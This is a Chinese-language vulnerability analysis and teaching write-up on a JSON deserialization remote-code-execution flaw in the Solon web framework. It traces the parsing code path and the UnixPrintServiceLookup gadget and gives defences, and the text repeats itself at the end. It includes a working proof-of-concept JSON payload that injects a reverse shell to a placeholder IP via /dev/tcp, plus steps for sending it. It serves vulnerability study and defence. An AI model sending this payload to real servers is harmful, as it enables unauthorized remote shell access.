国产web框架Solon
字数 1537 2025-08-19 12:41:16

Solon框架JSON解析漏洞分析与利用教学文档

漏洞概述

本漏洞存在于国产Web框架Solon的2.5.11及以下版本中,涉及JSON解析过程中的不安全反序列化操作,可能导致远程代码执行(RCE)。该漏洞在Linux系统且JDK环境下可被利用。

漏洞影响

  • 受影响版本:Solon 2.5.11及以下版本
  • 环境要求
    • Linux操作系统
    • JDK环境(JRE环境不可利用)
  • 触发条件:任何接收JSON参数的API端点

环境搭建

  1. 使用官方示例项目:

    https://solon.noear.org/start/build.do?artifact=helloworld_jdk8&project=maven&javaVer=1.8
    
  2. 修改pom.xml中的Solon版本为存在漏洞的版本:

    <parent>
      <groupId>org.noear</groupId>
      <artifactId>solon-parent</artifactId>
      <version>2.5.11</version> <!-- 存在漏洞的版本 -->
      <relativePath/>
    </parent>
    
  3. 必须在Linux系统且JDK环境下启动应用

漏洞分析

JSON处理流程

  1. 请求处理入口

    • org.noear.solon.core.handle.ActionExecuteHandlerDefault#executeHandle
    • 调用mWrap.invokeByAspect(obj, args.toArray())执行控制器方法
  2. 参数绑定

    • buildArgs(ctx, obj, mWrap)方法负责参数绑定
    • JSON数据会被解析为ONode对象
  3. 类型处理

    • 通过@type指定要反序列化的类
    • org.noear.snack.to.ObjectToer#getTypeByNode方法根据@type加载类
  4. 对象实例化与赋值

    • 使用ClassWrap.get(clz)获取类包装
    • 扫描目标类的所有非静态字段
    • 通过反射或setter方法为字段赋值

与Fastjson的区别

  1. 赋值限制

    • 仅当目标对象存在对应字段时才会赋值
    • 不会自动调用setter/getter方法
    • 因此Fastjson的传统payload无法直接使用
  2. 可利用类

    • sun.print.UnixPrintServiceLookup类可利用
    • 实例化时会启动线程执行refreshServices()
    • Linux下会调用getDefaultPrinterNameBSD()方法
    • 存在命令拼接和执行操作

漏洞利用

POC构造

{
  "name": {
    "@type": "sun.print.UnixPrintServiceLookup",
    "lpcFirstCom": [
      ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;",
      ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;"
    ]
  }
}

利用步骤

  1. 构造上述JSON payload,替换其中的IP和端口
  2. 向目标应用的任意接收JSON参数的API端点发送POST请求
  3. 成功触发后,攻击者服务器将收到反弹shell

实际案例:nginxWebUI漏洞

  1. 受影响版本:nginxWebUI v4.2.2
  2. Solon版本:2.4.5(存在漏洞)
  3. 利用限制
    • 官方Docker镜像使用JRE环境,无法利用
    • 必须在JDK环境下启动才能成功利用

防御措施

  1. 升级Solon框架:升级到2.5.12及以上版本
  2. 环境限制
    • 生产环境使用JRE而非JDK
    • 考虑使用非Linux系统(如Windows)降低风险
  3. 输入验证:对接收的JSON数据进行严格验证
  4. 安全配置:禁用不必要的类反序列化

技术细节补充

关键类分析

  1. sun.print.UnixPrintServiceLookup

    • 位于JDK中,JRE环境不可用
    • 实例化时启动线程执行refreshServices()
    • lpcFirstCom属性用于命令执行
  2. ClassWrap

    • 负责类元数据缓存和字段扫描
    • 通过反射获取类字段信息

漏洞限制

  1. 必须满足Linux+JDK环境组合
  2. 目标类必须包含对应字段才能赋值
  3. 无法利用传统的Fastjson gadget chain

总结

该漏洞展示了Solon框架在JSON解析过程中的不安全反序列化问题,通过精心构造的payload可导致RCE。虽然利用条件较为严格(需Linux+JDK),但在符合条件的环境中危害严重。开发者应及时升级框架版本,并采取适当的安全措施防范此类漏洞。

Solon框架JSON解析漏洞分析与利用教学文档 漏洞概述 本漏洞存在于国产Web框架Solon的2.5.11及以下版本中,涉及JSON解析过程中的不安全反序列化操作,可能导致远程代码执行(RCE)。该漏洞在Linux系统且JDK环境下可被利用。 漏洞影响 受影响版本 :Solon 2.5.11及以下版本 环境要求 : Linux操作系统 JDK环境(JRE环境不可利用) 触发条件 :任何接收JSON参数的API端点 环境搭建 使用官方示例项目: 修改 pom.xml 中的Solon版本为存在漏洞的版本: 必须在Linux系统且JDK环境下启动应用 漏洞分析 JSON处理流程 请求处理入口 : org.noear.solon.core.handle.ActionExecuteHandlerDefault#executeHandle 调用 mWrap.invokeByAspect(obj, args.toArray()) 执行控制器方法 参数绑定 : buildArgs(ctx, obj, mWrap) 方法负责参数绑定 JSON数据会被解析为 ONode 对象 类型处理 : 通过 @type 指定要反序列化的类 org.noear.snack.to.ObjectToer#getTypeByNode 方法根据 @type 加载类 对象实例化与赋值 : 使用 ClassWrap.get(clz) 获取类包装 扫描目标类的所有非静态字段 通过反射或setter方法为字段赋值 与Fastjson的区别 赋值限制 : 仅当目标对象存在对应字段时才会赋值 不会自动调用setter/getter方法 因此Fastjson的传统payload无法直接使用 可利用类 : sun.print.UnixPrintServiceLookup 类可利用 实例化时会启动线程执行 refreshServices() Linux下会调用 getDefaultPrinterNameBSD() 方法 存在命令拼接和执行操作 漏洞利用 POC构造 利用步骤 构造上述JSON payload,替换其中的IP和端口 向目标应用的任意接收JSON参数的API端点发送POST请求 成功触发后,攻击者服务器将收到反弹shell 实际案例:nginxWebUI漏洞 受影响版本 :nginxWebUI v4.2.2 Solon版本 :2.4.5(存在漏洞) 利用限制 : 官方Docker镜像使用JRE环境,无法利用 必须在JDK环境下启动才能成功利用 防御措施 升级Solon框架 :升级到2.5.12及以上版本 环境限制 : 生产环境使用JRE而非JDK 考虑使用非Linux系统(如Windows)降低风险 输入验证 :对接收的JSON数据进行严格验证 安全配置 :禁用不必要的类反序列化 技术细节补充 关键类分析 sun.print.UnixPrintServiceLookup : 位于JDK中,JRE环境不可用 实例化时启动线程执行 refreshServices() lpcFirstCom 属性用于命令执行 ClassWrap : 负责类元数据缓存和字段扫描 通过反射获取类字段信息 漏洞限制 必须满足Linux+JDK环境组合 目标类必须包含对应字段才能赋值 无法利用传统的Fastjson gadget chain 总结 该漏洞展示了Solon框架在JSON解析过程中的不安全反序列化问题,通过精心构造的payload可导致RCE。虽然利用条件较为严格(需Linux+JDK),但在符合条件的环境中危害严重。开发者应及时升级框架版本,并采取适当的安全措施防范此类漏洞。